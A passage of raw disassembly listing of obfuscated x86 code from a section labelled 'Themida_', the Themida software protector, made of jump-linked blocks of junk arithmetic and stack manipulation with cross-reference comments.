		mov	esi, ebp
		pop	ebp
		shr	esi, 8
		jnp	loc_5AE220
		shl	esi, 2
		jns	loc_5990CD
		push	1768h
		mov	[esp], ecx
		jmp	loc_5A8507
; ---------------------------------------------------------------------------


loc_59C426:				; CODE XREF: Themida_:005A0D6Aj
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		sub	eax, ebx
		sub	eax, 37893787h
		sub	eax, 2E91261Eh
		push	115Fh
		jmp	loc_5AA8C2
; ---------------------------------------------------------------------------


loc_59C444:				; CODE XREF: Themida_:005AADF9j
		mov	edx, 4CD839F2h
		xor	edx, 238827A5h
		neg	edx
		or	edx, 70E00F22h
		xor	edx, 63B7052Fh
		shr	edx, 4
		xor	edx, 0F321B7Eh
		jmp	loc_59BC68
; ---------------------------------------------------------------------------


loc_59C46B:				; CODE XREF: Themida_:005A2034j
		jnp	loc_5A17C7
		xor	cl, 5Ah
		jnp	loc_5A1356
		and	al, 61h


loc_59C47C:				; CODE XREF: Themida_:loc_59B657j
		push	edx
		mov	edx, 46AA5C31h
		or	esi, edx
		pop	edx
		add	esi, 10050191h
		mov	edx, esi
		pop	esi
		push	ebx
		jmp	loc_5A54F0
; ---------------------------------------------------------------------------


loc_59C494:				; CODE XREF: Themida_:0059FAB6j
		pop	ebp
		pop	ecx
		neg	ebp
		jns	loc_5AD718
		jmp	loc_59F188
; ---------------------------------------------------------------------------


loc_59C4A3:				; CODE XREF: Themida_:005A0B90j
		sub	eax, 23652598h
		jmp	loc_59FA02
; ---------------------------------------------------------------------------


loc_59C4AD:				; CODE XREF: Themida_:005A2179j
		push	0AEE0C1Eh
		pop	ebp
		shl	ebp, 6
		jp	loc_59EE62
		shr	ebp, 4
		jmp	loc_5A6595
; ---------------------------------------------------------------------------


loc_59C4C4:				; CODE XREF: Themida_:005AD77Fj
		mov	eax, esp
		add	eax, 4
		jmp	loc_59850A
; ---------------------------------------------------------------------------


loc_59C4D0:				; CODE XREF: Themida_:005A421Ej
		xchg	ebx, [esp]
		pop	esp
		push	esi
		mov	esi, 1BB25C56h
		or	esi, 7EBE3870h
		shl	esi, 2
		jmp	loc_5A501B
; ---------------------------------------------------------------------------
		push	ebp
		push	0FEh
		push	dword ptr [esp]
		jmp	loc_599D3B
; ---------------------------------------------------------------------------


loc_59C4F6:				; CODE XREF: Themida_:005A5E1Dj
		sub	edi, 51D351B1h
		add	eax, edi
		jmp	loc_5A155F
; ---------------------------------------------------------------------------


loc_59C503:				; CODE XREF: Themida_:0059D9E2j
		and	ebp, 18D217C8h
		jl	loc_59FD53
		xor	ebp, 3F2A60AFh
		mov	edx, ebp
		jmp	loc_59A3E1
; ---------------------------------------------------------------------------


loc_59C51C:				; CODE XREF: Themida_:00599328j
		dec	eax
		add	eax, 422836E8h
		jmp	loc_5AB318
; ---------------------------------------------------------------------------


loc_59C527:				; CODE XREF: Themida_:0059F07Cj
		pop	edi
		sub	eax, 41BB43E2h
		jmp	loc_5ACF9B
; ---------------------------------------------------------------------------


loc_59C532:				; CODE XREF: Themida_:005AA256j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		push	ebp
		jmp	loc_5A0608
; ---------------------------------------------------------------------------


loc_59C53F:				; CODE XREF: Themida_:00599247j
		xor	ebp, 5D1DE28Ch
		xor	esi, ebp
		pop	ebp
		and	esi, 3B1914BBh
		push	esi
		not	dword ptr [esp]
		jmp	loc_5AECC3
; ---------------------------------------------------------------------------


loc_59C557:				; CODE XREF: Themida_:005A8004j
		add	ebx, 4E30395h
		jo	loc_59F572
		sub	ebx, 0C5C39179h
		push	ecx
		mov	ecx, 23C0361Bh
		and	ecx, 1D657C7Eh
		jmp	loc_599F6C
; ---------------------------------------------------------------------------


loc_59C57A:				; CODE XREF: Themida_:005992A6j
		pop	eax
		pop	edx
		pop	ecx
		push	ebp
		push	4
		pop	ebp
		jmp	loc_5A1362
; ---------------------------------------------------------------------------


loc_59C589:				; CODE XREF: Themida_:0059DFFFj
		push	ecx
		mov	ecx, 3AB0DC03h
		xor	ebp, ecx
		jmp	loc_5A30BC
; ---------------------------------------------------------------------------


loc_59C596:				; CODE XREF: Themida_:005AA8CFj
		pop	edx
		push	edi
		mov	edi, 6FD54224h
		sub	edi, 0FFFFFFFFh
		jmp	loc_5AF10D
; ---------------------------------------------------------------------------


loc_59C5A8:				; CODE XREF: Themida_:005A6863j
		not	ebp
		xchg	ebp, [esp]
		pop	edx
		xor	edx, 9BA93A1Eh
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		add	eax, ebx
		push	ebx
		mov	ebx, 0D1578F6h
		shr	ebx, 3
		add	ebx, 352B202Fh
		jmp	loc_59E2DA
; ---------------------------------------------------------------------------
		lodsd
		push	ebx
		jmp	loc_5ADA88
; ---------------------------------------------------------------------------


loc_59C5DC:				; CODE XREF: Themida_:005AAFC9j
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	edi
		jmp	loc_59FD53
; ---------------------------------------------------------------------------


loc_59C5ED:				; CODE XREF: Themida_:005A5605j
		push	ecx
		push	2E4B1AA9h
		pop	ecx
		add	ecx, 0D1B4E55Bh
		mov	esi, ecx
		pop	ecx
		jmp	loc_5AE10E
; ---------------------------------------------------------------------------


loc_59C602:				; CODE XREF: Themida_:005AF225j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_59B7D2
; ---------------------------------------------------------------------------


loc_59C60B:				; CODE XREF: Themida_:0059B9E1j
		add	esp, 4
		push	62A2h
		jmp	loc_59B8FA
; ---------------------------------------------------------------------------


loc_59C618:				; CODE XREF: Themida_:005A4EC5j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	dword ptr [esp]
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_59DC93
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	297Eh
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		jmp	loc_5A2583
; ---------------------------------------------------------------------------
		lodsw
		jmp	loc_59FE4C
; ---------------------------------------------------------------------------


loc_59C673:				; CODE XREF: Themida_:005AB558j
		mov	ebx, [esp]
		add	esp, 4
		shr	cl, 4
		jmp	loc_5ABD7D
; ---------------------------------------------------------------------------


loc_59C681:				; CODE XREF: Themida_:0059D5E2j
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_5A35F5
; ---------------------------------------------------------------------------


loc_59C68B:				; CODE XREF: Themida_:005A0C86j
		pop	ecx
		inc	cl
		jp	loc_5AD2A1
		or	cl, 0D6h
		jnb	loc_599533
		jns	loc_5A279B


loc_59C6A3:				; CODE XREF: Themida_:005A202Bj
		mov	ecx, 2F682038h
		push	edx
		mov	edx, 3AC17AF8h
		shr	edx, 7
		inc	edx
		shr	edx, 4
		add	edx, 5D267E92h
		xor	edx, 593AF05Eh
		sub	ecx, edx
		pop	edx
		jmp	loc_5AA52F
; ---------------------------------------------------------------------------


loc_59C6C9:				; CODE XREF: Themida_:005A7CCBj
		inc	esi
		inc	esi
		shr	esi, 6
		push	eax
		mov	eax, 562E3876h
		xor	eax, 530B2E93h
		inc	eax
		not	eax
		dec	eax
		xor	eax, ebp
		jmp	loc_59C38B
; ---------------------------------------------------------------------------


loc_59C6E4:				; CODE XREF: Themida_:005A508Dj
		pop	esp
		sub	ebp, 3F01D24h
		add	ebp, eax
		add	ebp, 3F01D24h
		pop	eax
		push	2619h
		mov	[esp], edi
		push	ecx
		push	6F976CD3h
		pop	ecx
		not	ecx
		sub	ecx, 1FB07854h
		ja	loc_5A81D9
		push	ebx
		mov	ebx, 3A02A881h
		sub	ecx, ebx
		pop	ebx
		jmp	loc_5A915E
; ---------------------------------------------------------------------------
		push	edi


loc_59C720:				; CODE XREF: Themida_:005A5BBCj
		xor	eax, [esp]
		mov	esp, [esp]
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5A34FE
; ---------------------------------------------------------------------------


loc_59C73C:				; CODE XREF: Themida_:005AC468j
		add	[esp+4], eax
		push	3451h
		mov	[esp], edx
		jmp	loc_5ACFA1
; ---------------------------------------------------------------------------


loc_59C74D:				; CODE XREF: Themida_:005A1123j
		jmp	loc_5ABB11
; ---------------------------------------------------------------------------


loc_59C752:				; CODE XREF: Themida_:0059D02Cj
		mov	[esp], ebx
		push	edx
		mov	edx, esp
		jmp	loc_5A281D
; ---------------------------------------------------------------------------


loc_59C75D:				; CODE XREF: Themida_:005A5658j
		mov	ecx, [esp]
		add	esp, 4
		xor	ecx, 0B557357h
		mov	edi, ecx
		jmp	loc_5AF1A2
; ---------------------------------------------------------------------------


loc_59C770:				; CODE XREF: Themida_:0059B0AEj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_59B988
; ---------------------------------------------------------------------------


loc_59C783:				; CODE XREF: Themida_:0059D142j
		mov	ebx, [esp]
		add	esp, 4
		shr	ecx, 1
		and	ecx, 6116160Dh
		add	ecx, 0FFFFFFFFh
		jmp	loc_5ADF19
; ---------------------------------------------------------------------------


loc_59C79C:				; CODE XREF: Themida_:005A2364j
		jmp	loc_5AC84F
; ---------------------------------------------------------------------------


loc_59C7A1:				; CODE XREF: Themida_:0059E9ADj
					; Themida_:005A91BEj
		pop	dword ptr [esp]
		jmp	loc_5A1485
; ---------------------------------------------------------------------------


loc_59C7A9:				; CODE XREF: Themida_:005A9568j
		mov	[esp], ax
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59C7B2:				; CODE XREF: Themida_:005AA505j
		push	eax
		jmp	loc_5AB292
; ---------------------------------------------------------------------------


loc_59C7B8:				; CODE XREF: Themida_:005ABAA3j
		add	ecx, 4
		push	ebx
		mov	ebx, 2F50D7Ch
		jmp	loc_5AE6F7
; ---------------------------------------------------------------------------


loc_59C7C9:				; CODE XREF: Themida_:005A0CBCj
		push	ebp
		push	ebx
		push	342143DDh
		pop	ebx
		neg	ebx
		and	ebx, 27673683h
		xor	ebx, 3463407h
		jmp	loc_5AD01D
; ---------------------------------------------------------------------------


loc_59C7E4:				; CODE XREF: Themida_:005AF3CDj
		push	6C14h
		mov	[esp], ebp
		mov	ebp, 6D964C91h
		jmp	loc_59DA6E
; ---------------------------------------------------------------------------


loc_59C7F6:				; CODE XREF: Themida_:0059A255j
		mov	[esp], bx
		push	7264h
		mov	[esp], ebp
		mov	bp, 0D54h
		xchg	dx, bp
		not	dx
		xchg	dx, bp
		dec	bp
		jnz	loc_59EF32
		inc	bp
		jmp	loc_5AB421
; ---------------------------------------------------------------------------
		pop	bx
		mov	dl, 0B6h
		pop	ebp


loc_59C823:				; CODE XREF: Themida_:00598E15j
		push	esi
		jmp	loc_5A457D
; ---------------------------------------------------------------------------


loc_59C829:				; CODE XREF: Themida_:0059E94Fj
		sub	edi, eax
		pop	eax
		shr	edi, 5
		or	edi, 65D4109Bh
		sub	edi, 65DF30D7h
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		push	88Ch
		jmp	loc_5AC4AC
; ---------------------------------------------------------------------------


loc_59C850:				; CODE XREF: Themida_:0059B4B5j
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5A2262
; ---------------------------------------------------------------------------


loc_59C86E:				; CODE XREF: Themida_:005AAE84j
		mov	[esp], ebp
		push	esi
		mov	esi, 4C33A0h
		shr	esi, 7
		sub	esi, 9865h
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	eax
		jmp	loc_5AB1F6
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_5ADE52
; ---------------------------------------------------------------------------


loc_59C896:				; CODE XREF: Themida_:005AECBEj
		sub	ecx, 812459A8h
		xor	eax, ecx
		pop	ecx
		xor	eax, 5C2603B3h
		jp	loc_5A320F
		add	eax, 29788E37h
		jle	loc_5AA040


loc_59C8B5:				; CODE XREF: Themida_:005A5E34j
		push	esp
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	4689h
		jmp	loc_5A5F3A
; ---------------------------------------------------------------------------


loc_59C8D3:				; CODE XREF: Themida_:0059DB76j
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		push	small 5EB7h
		mov	[esp], sp
		jmp	loc_59A248
; ---------------------------------------------------------------------------


loc_59C8EC:				; CODE XREF: Themida_:005A4886j
		mov	[esp], eax
		mov	eax, 2
		add	ebx, eax
		jmp	loc_5A72C6
; ---------------------------------------------------------------------------


loc_59C8FB:				; CODE XREF: Themida_:005AE475j
		not	esi
		not	esi
		jmp	loc_59E328
; ---------------------------------------------------------------------------


loc_59C904:				; CODE XREF: Themida_:005AAC04j
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5A3F79
; ---------------------------------------------------------------------------


loc_59C912:				; CODE XREF: Themida_:005AEC42j
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		push	esi
		jmp	loc_59D77D
; ---------------------------------------------------------------------------


loc_59C931:				; CODE XREF: Themida_:0059EC1Cj
		shr	ecx, 4
		js	loc_59860C
		jmp	loc_5A1AF9
; ---------------------------------------------------------------------------


loc_59C93F:				; CODE XREF: Themida_:loc_599152j
		jmp	loc_5A1269
; ---------------------------------------------------------------------------


loc_59C944:				; CODE XREF: Themida_:005A2C23j
		pop	dword ptr [esp]
		jmp	loc_5AD361
; ---------------------------------------------------------------------------


loc_59C94C:				; CODE XREF: Themida_:0059EB1Dj
		push	1513h
		push	ecx
		mov	ecx, esp
		jmp	loc_59FEBF
; ---------------------------------------------------------------------------


loc_59C959:				; CODE XREF: Themida_:005998F0j
		push	ebx
		push	ecx
		mov	ecx, 19EE1E5Ch
		mov	ebx, 5E7471F6h
		sub	ebx, ecx
		jmp	loc_5A7AE5
; ---------------------------------------------------------------------------


loc_59C96C:				; CODE XREF: Themida_:005A9E98j
		mov	ebp, [esp]
		jmp	loc_59CCF8
; ---------------------------------------------------------------------------


loc_59C974:				; CODE XREF: Themida_:005A8AD3j
		add	bl, al
		sub	bl, 0F7h
		push	eax
		mov	al, 58h
		xor	al, 75h
		jmp	loc_5A89EA
; ---------------------------------------------------------------------------


loc_59C983:				; CODE XREF: Themida_:005A84CDj
		sub	ebp, 2
		push	1BA9h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_598B42
; ---------------------------------------------------------------------------


loc_59C997:				; CODE XREF: Themida_:0059BBC8j
		sub	esp, 4
		jmp	loc_5A8233
; ---------------------------------------------------------------------------


loc_59C9A2:				; CODE XREF: Themida_:0059AE62j
		jo	loc_5A746E
		shl	edi, 2
		add	edi, 1F0A2591h
		jno	loc_5A67A0
		sub	edi, 107FB628h
		push	eax
		mov	eax, edi
		jmp	loc_5A6A5F
; ---------------------------------------------------------------------------


loc_59C9C5:				; CODE XREF: Themida_:005A5E03j
		xor	edx, 5DF51856h
		shr	edx, 5
		jmp	loc_5A7D15
; ---------------------------------------------------------------------------


loc_59C9D3:				; CODE XREF: Themida_:005AB163j
		pop	ebx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5A70EE
; ---------------------------------------------------------------------------


loc_59C9E2:				; CODE XREF: Themida_:0059BA0Bj
		xor	ebx, 6FC404A0h
		jmp	loc_59E9F3
; ---------------------------------------------------------------------------


loc_59C9ED:				; CODE XREF: Themida_:00599AD1j
		mov	ebp, 5C5501DEh
		jmp	loc_59E23A
; ---------------------------------------------------------------------------


loc_59C9F7:				; CODE XREF: Themida_:005A7F71j
		xor	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	ebx, ecx
		dec	ebx
		xchg	ebx, ecx
		jmp	loc_5AADF8
; ---------------------------------------------------------------------------


loc_59CA0C:				; CODE XREF: Themida_:0059F7BFj
					; Themida_:005A15B5j
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_5AC96C
; ---------------------------------------------------------------------------


loc_59CA16:				; CODE XREF: Themida_:0059FC71j
		add	esp, 4


loc_59CA19:				; CODE XREF: Themida_:005A083Cj
					; Themida_:005AF378j
		push	ebp
		push	esp
		jmp	loc_5AD40B
; ---------------------------------------------------------------------------


loc_59CA20:				; CODE XREF: Themida_:0059C3F5j
		jp	loc_5A80C4
		sub	edx, 1C026C0Fh
		jmp	loc_5A83A4
; ---------------------------------------------------------------------------


loc_59CA31:				; CODE XREF: Themida_:005A87FEj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		and	[esp], ax
		pushf
		jmp	loc_5A0855
; ---------------------------------------------------------------------------


loc_59CA47:				; CODE XREF: Themida_:0059F8FCj
		mov	edx, 0B275D86h
		shr	edx, 7
		add	edx, 4FC77B85h
		js	loc_59CADD
		or	edx, 278A2ECBh
		jz	loc_5AE220
		shr	edx, 2
		jns	loc_5AA622
		push	esi
		jmp	loc_5A6B85
; ---------------------------------------------------------------------------
		push	edi
		mov	edi, 4
		push	esp


loc_59CA7D:				; CODE XREF: Themida_:005A2E8Ej
		add	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		push	ecx
		mov	ch, 38h
		add	ch, 39h
		push	ebx
		mov	bh, 0D7h
		not	bh
		xor	bh, 4Ah
		or	bh, 0E3h
		add	bh, 57h
		jmp	loc_5A8F30
; ---------------------------------------------------------------------------


loc_59CA9D:				; CODE XREF: Themida_:005A7FDBj
		sub	eax, 90D0F360h
		mov	edi, eax
		pop	eax
		xor	edi, 4D453918h
		jmp	loc_5A23F5
; ---------------------------------------------------------------------------


loc_59CAB0:				; CODE XREF: Themida_:005A44BCj
		jmp	loc_598A8D
; ---------------------------------------------------------------------------


loc_59CAB5:				; CODE XREF: Themida_:0059995Aj
		mov	ecx, esp
		push	eax
		push	edx
		jmp	loc_5A8E67
; ---------------------------------------------------------------------------


loc_59CABE:				; CODE XREF: Themida_:005A8943j
		mov	ebp, 3103048Ch
		dec	ebp
		xor	ebp, 6759285Fh
		sub	eax, ebp
		jmp	loc_5A722F
; ---------------------------------------------------------------------------


loc_59CAD1:				; CODE XREF: Themida_:0059A6D5j
					; Themida_:005A3399j
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_5A7851
; ---------------------------------------------------------------------------


loc_59CADD:				; CODE XREF: Themida_:0059994Dj
					; Themida_:0059CA55j
		or	edx, 278A2ECBh
		jz	loc_59C133
		shr	edx, 2
		jns	loc_5A7794
		jmp	loc_59B079
; ---------------------------------------------------------------------------
		mov	edi, [esp]
		add	esp, 4
		sub	al, 3Ah
		pop	edx


loc_59CB00:				; CODE XREF: Themida_:005A48FEj
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59CB05:				; CODE XREF: Themida_:005A0862j
					; Themida_:005AA67Fj
		add	ecx, edi
		jmp	loc_59B6C9
; ---------------------------------------------------------------------------


loc_59CB0C:				; CODE XREF: Themida_:005A0816j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_59F145
; ---------------------------------------------------------------------------


loc_59CB19:				; CODE XREF: Themida_:0059DEFBj
		jbe	loc_5AE610
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		mov	ecx, 0CA20E7Dh
		push	edx
		mov	edx, 56F55BA1h
		jmp	loc_5A6FDD
; ---------------------------------------------------------------------------


loc_59CB39:				; CODE XREF: Themida_:005ACF6Ej
		push	eax
		not	dword ptr [esp]
		jmp	loc_5A43C8
; ---------------------------------------------------------------------------


loc_59CB42:				; CODE XREF: Themida_:005AD8A6j
		neg	dword ptr [esp]
		pop	ebp
		push	0
		sub	[esp], ebp
		jmp	loc_5A7C0E
; ---------------------------------------------------------------------------


loc_59CB53:				; CODE XREF: Themida_:00599DEBj
		xor	dh, 0F5h
		add	bl, 97h
		add	bl, dh
		sub	bl, 97h
		mov	edx, [esp]
		jmp	loc_5A724A
; ---------------------------------------------------------------------------


loc_59CB66:				; CODE XREF: Themida_:0059B39Ej
		mov	dl, 2
		not	dl
		jmp	loc_5A1657
; ---------------------------------------------------------------------------


loc_59CB6F:				; CODE XREF: Themida_:005A77CCj
		mov	dl, 2Ah
		sub	al, 2Dh
		push	edx
		mov	dh, 6Fh
		or	dh, 6Eh
		jmp	loc_5A8F6B
; ---------------------------------------------------------------------------


loc_59CB7E:				; CODE XREF: Themida_:005AE490j
		pop	edx
		add	edx, 4
		jmp	loc_5A7C4A
; ---------------------------------------------------------------------------


loc_59CB8A:				; CODE XREF: Themida_:005A8D6Bj
		pop	eax
		push	7079h
		mov	[esp], edx
		push	4
		mov	edx, [esp]
		push	4088h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_59ED48
; ---------------------------------------------------------------------------


loc_59CBB0:				; CODE XREF: Themida_:005AB3C2j
		xor	edx, 0A7E79CDEh
		mov	ecx, edx
		push	dword ptr [esp]
		jmp	loc_5A1E26
; ---------------------------------------------------------------------------


loc_59CBC0:				; CODE XREF: Themida_:005A8502j
		not	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 1
		push	ebx
		jmp	loc_5A2733
; ---------------------------------------------------------------------------


loc_59CBD2:				; CODE XREF: Themida_:005A603Bj
		add	ecx, ebp
		pop	ebp
		jmp	loc_59A1D6
; ---------------------------------------------------------------------------


loc_59CBDA:				; CODE XREF: Themida_:005A11BBj
		xchg	eax, esi
		not	eax
		xchg	eax, esi
		xchg	eax, esi
		jmp	loc_59DFB0
; ---------------------------------------------------------------------------


loc_59CBE4:				; CODE XREF: Themida_:005A7D6Ej
		mov	dh, 8Fh
		add	dh, 82h
		neg	dh
		add	dh, 50h
		shr	dh, 1
		jmp	loc_5AF051
; ---------------------------------------------------------------------------


loc_59CBF5:				; CODE XREF: Themida_:005A68AAj
		not	edx
		not	edx
		or	edx, 2BB24DFEh
		jle	loc_5AD8AB
		sub	edx, 3C8B7D1Eh
		sub	edx, 76DD20F7h
		xor	edx, 0BB5FDE92h
		xor	edx, 4A40084Ah
		sub	edx, 0FFFFFFFFh
		add	edx, 2E252584h
		push	ebp
		mov	ebp, 62732856h
		jmp	loc_598D58
; ---------------------------------------------------------------------------


loc_59CC34:				; CODE XREF: Themida_:0059A5E3j
		xor	cl, bh
		pop	ebx
		add	cl, dl
		jmp	loc_5A3441
; ---------------------------------------------------------------------------


loc_59CC3E:				; CODE XREF: Themida_:005A5BD4j
		mov	ebp, 3C3D2351h
		sub	ebp, 62332895h
		jmp	loc_59B1A6
; ---------------------------------------------------------------------------


loc_59CC4E:				; CODE XREF: Themida_:0059B9D8j
		xor	esi, edx
		jmp	loc_5A820C
; ---------------------------------------------------------------------------


loc_59CC55:				; CODE XREF: Themida_:005AF528j
		inc	bh
		jmp	loc_598E5C
; ---------------------------------------------------------------------------


loc_59CC5C:				; CODE XREF: Themida_:loc_59EF67j
		not	edx
		shr	edx, 7
		jmp	loc_59E863
; ---------------------------------------------------------------------------


loc_59CC66:				; CODE XREF: Themida_:005A3FACj
		pop	esi
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_5A795E
; ---------------------------------------------------------------------------


loc_59CC81:				; CODE XREF: Themida_:loc_5A0E54j
					; Themida_:005A6B9Ej
		add	ebp, 1837740Eh
		jl	loc_598B26
		push	esi
		mov	esi, 74F60100h
		add	esi, 9422A279h
		sub	ebp, esi
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_599261
; ---------------------------------------------------------------------------


loc_59CCB1:				; CODE XREF: Themida_:0059FED6j
		sub	dword ptr [esp], 0AB11F51h
		pop	ecx
		add	ecx, 0AB11F51h
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 5D5E76FBh
		add	eax, 5C242DB2h
		add	eax, edi
		sub	eax, 5C242DB2h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5A3CDF
; ---------------------------------------------------------------------------


loc_59CCE5:				; CODE XREF: Themida_:005AD90Bj
		pop	ebp
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5AC65B
; ---------------------------------------------------------------------------


loc_59CCF8:				; CODE XREF: Themida_:0059C96Fj
		add	esp, 4
		add	eax, 77B11052h
		add	eax, 215353F5h
		add	eax, ebx
		sub	eax, 215353F5h
		sub	eax, 77B11052h
		push	ebx
		push	eax
		mov	eax, 4AED6C9Ch
		or	eax, 4A0F54DBh
		jns	loc_5A06F0
		shr	eax, 8
		neg	eax
		jz	loc_5ABBFD


loc_59CD31:				; CODE XREF: Themida_:005A304Dj
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_5AB914
; ---------------------------------------------------------------------------


loc_59CD4F:				; CODE XREF: Themida_:005A516Bj
		add	edx, ebx
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		push	edx
		mov	edx, 4
		add	ebx, 58FD4373h
		add	ebx, edx
		sub	ebx, 58FD4373h
		pop	edx
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59CD78:				; CODE XREF: Themida_:005ACACBj
		mov	bh, dl
		pop	edx
		jmp	loc_5AE653
; ---------------------------------------------------------------------------


loc_59CD80:				; CODE XREF: Themida_:005A349Bj
		pop	edi
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		bt	[esp], eax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59CD9A:				; CODE XREF: Themida_:005A2BEBj
		mov	eax, [esp]
		add	esp, 4
		push	7D44h
		mov	[esp], ecx
		jmp	loc_59961C
; ---------------------------------------------------------------------------


loc_59CDAD:				; CODE XREF: Themida_:005A3997j
		mov	ebp, 3F9B771Ch
		push	ebp
		sub	dword ptr [esp], 1A587E3Bh
		jmp	loc_5A5A84
; ---------------------------------------------------------------------------


loc_59CDBF:				; CODE XREF: Themida_:00598E0Fj
					; Themida_:005A3B5Ej
		jmp	loc_5987E0
; ---------------------------------------------------------------------------


loc_59CDC4:				; CODE XREF: Themida_:005A938Ej
		push	bx
		mov	bl, 0A8h
		add	ch, bl
		pop	bx
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		mov	dl, 95h
		push	eax
		mov	ah, dl
		mov	bl, ah
		pop	eax
		pop	edx
		add	bl, 0B8h
		jmp	loc_59E447
; ---------------------------------------------------------------------------


loc_59CDE4:				; CODE XREF: Themida_:005A19EAj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5A0C1D
; ---------------------------------------------------------------------------


loc_59CDF2:				; CODE XREF: Themida_:005A86F1j
		pop	esi
		xor	edx, ebx
		mov	ebx, [esp]
		push	7D16h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp


loc_59CE12:				; CODE XREF: Themida_:005A1A87j
					; Themida_:005AB382j
		push	dword ptr [edi+24h]
		jmp	loc_59EED2
; ---------------------------------------------------------------------------


loc_59CE1A:				; CODE XREF: Themida_:0059AA75j
					; Themida_:005A8966j
		mov	esp, [esp]
		jmp	loc_5A18EA
; ---------------------------------------------------------------------------


loc_59CE22:				; CODE XREF: Themida_:005AA2EAj
		pop	esi
		add	esp, 4
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_59E031
; ---------------------------------------------------------------------------


loc_59CE3D:				; CODE XREF: Themida_:0059EBA3j
		add	edx, 62E35A91h
		sub	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	227h
		jmp	loc_5A20FA
; ---------------------------------------------------------------------------


loc_59CE55:				; CODE XREF: Themida_:loc_59F86Bj
		neg	al
		add	al, 90h
		mov	dl, al
		pop	eax
		jmp	loc_5A04F1
; ---------------------------------------------------------------------------


loc_59CE61:				; CODE XREF: Themida_:005A3009j
		sub	ebp, 32AB1ECCh
		inc	ebp
		push	eax
		jmp	loc_5A7A23
; ---------------------------------------------------------------------------


loc_59CE6E:				; CODE XREF: Themida_:00599DBEj
		shr	edx, 4
		jmp	loc_5AD3ED
; ---------------------------------------------------------------------------


loc_59CE76:				; CODE XREF: Themida_:0059D6B6j
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 687434B4h
		dec	ebp
		xor	ebp, 5DEF1F98h
		shr	ebp, 4
		xor	ebp, 3AB546E5h
		shl	ebp, 3
		push	edx
		mov	edx, 67D95AE4h
		inc	edx
		shr	edx, 3
		jmp	loc_5A0537
; ---------------------------------------------------------------------------


loc_59CEA7:				; CODE XREF: Themida_:005AC0B9j
		xchg	edx, [esp]
		pop	esp
		cmp	cl, al
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59CEB3:				; CODE XREF: Themida_:005A7411j
		push	esi
		push	573Eh
		mov	[esp], edx
		jmp	loc_5AC5D7
; ---------------------------------------------------------------------------


loc_59CEC1:				; CODE XREF: Themida_:005A042Ej
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5A9B74
; ---------------------------------------------------------------------------


